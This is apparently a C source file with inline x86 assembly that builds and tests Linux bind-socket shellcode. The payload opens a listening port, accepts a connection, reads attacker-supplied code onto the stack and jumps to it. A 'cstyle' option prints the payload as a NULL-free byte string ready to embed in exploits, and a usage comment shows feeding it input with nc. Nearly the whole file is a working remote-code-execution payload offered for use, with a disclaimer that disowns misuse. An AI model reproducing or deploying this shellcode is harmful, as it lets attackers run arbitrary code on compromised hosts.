/*
 * Tries to find a socket based on a client port.
 *
 * Usage
 *
 *    $ ./x86-bindsock 
 *    Usage: ./x86-bindsock [test | cstyle]
 *
 *    To test the payload
 *
 *    shell1$ ./x86-bindsock test
 *    shell2$ perl -e 'print "\xcc"' | nc 127.0.0.1 4444
 *
 *    To generate c-styled shellcode:
 *
 *    $ ./x86-bindsock cstyle
 *
 * Features
 *
 *    * No NULLs
 *
 * Disclaimer
 *
 *    The author cannot be held responsible for how this payload is used.
 *
 * skape
 * mmiller@hick.org
 */
#include <stdlib.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdio.h>

void bindsock_begin();
void bindsock_end();
void bindsock_end_test();

#define DEFAULT_PORT      49087
#define PORT_OFFSET       0x21
#define SET_PORT(sc, val) *((unsigned short *)((sc) + PORT_OFFSET)) = val ^ 0xfefe

__asm__("
bindsock_begin:
	xor  %ebx, %ebx
bindsock_socket:
	push %ebx
	inc  %ebx
	push %ebx
	push $0x2
	push $0x66
	pop  %eax
	cdq
	mov  %esp, %ecx
	int  $0x80
	mov  %eax, %esi
bindsock_bind:
	push %edx
	mov  $0x4141ffff, %eax
	xor  $0xfefefffd, %eax
	push %eax
	mov  %esp, %ecx
	push $0x10
	push %ecx
	push %esi
	mov  %esp, %ecx
	push $0x66
	pop  %eax
	inc  %ebx
	int  $0x80
bindsock_listen:
	mov  $0x66, %al
	shl  %ebx
	int  $0x80
bindsock_accept:
	push %edx
	push %edx
	push %esi
	mov  $0x66, %al
	inc  %ebx
	mov  %esp, %ecx
	int  $0x80
bindsock_end:

	mov  %eax, %ebx
bindsock_read:
	mov  %esp, %ecx
	dec  %dx
	push $0x3
	pop  %eax
	int  $0x80
bindsock_jump:
	jmp  *%ecx
bindsock_end_test:
	
");

int main(int argc, char **argv)
{
	unsigned char *start = (unsigned char *)bindsock_begin;
	unsigned char *stop  = (unsigned char *)bindsock_end;
	unsigned char *copy;
	int length;

	if (argc == 1)
	{
		fprintf(stdout, "Usage: %s [test | cstyle]\n", argv[0]);
		return 0;
	}

	if (argv[1][0] == 't')
		stop = (unsigned char *)bindsock_end_test;

	length = stop - start;

	if (!(copy = (unsigned char *)malloc(length)))
	{
		printf("allocation failed\n");
		return 0;
	}

	memcpy(copy, start, length);

	if (!strcmp(argv[1], "test"))
	{
		((int (*)())copy)();
	}
	else if (!strcmp(argv[1], "cstyle"))
	{
		int x;

		fprintf(stdout, "// %lu byte bindsock shellcode\n\n", length);
		fprintf(stdout, "unsigned char bindsock[] = \"");

		for (x = 0;
		     x < length;
		     x++)
			fprintf(stdout, "\\x%2.2x", copy[x]);

		fprintf(stdout, "\";\n\n");

		free(copy);
	}
	else
		fprintf(stdout, "%s: invalid option\n", argv[0]);

	return 1;
}
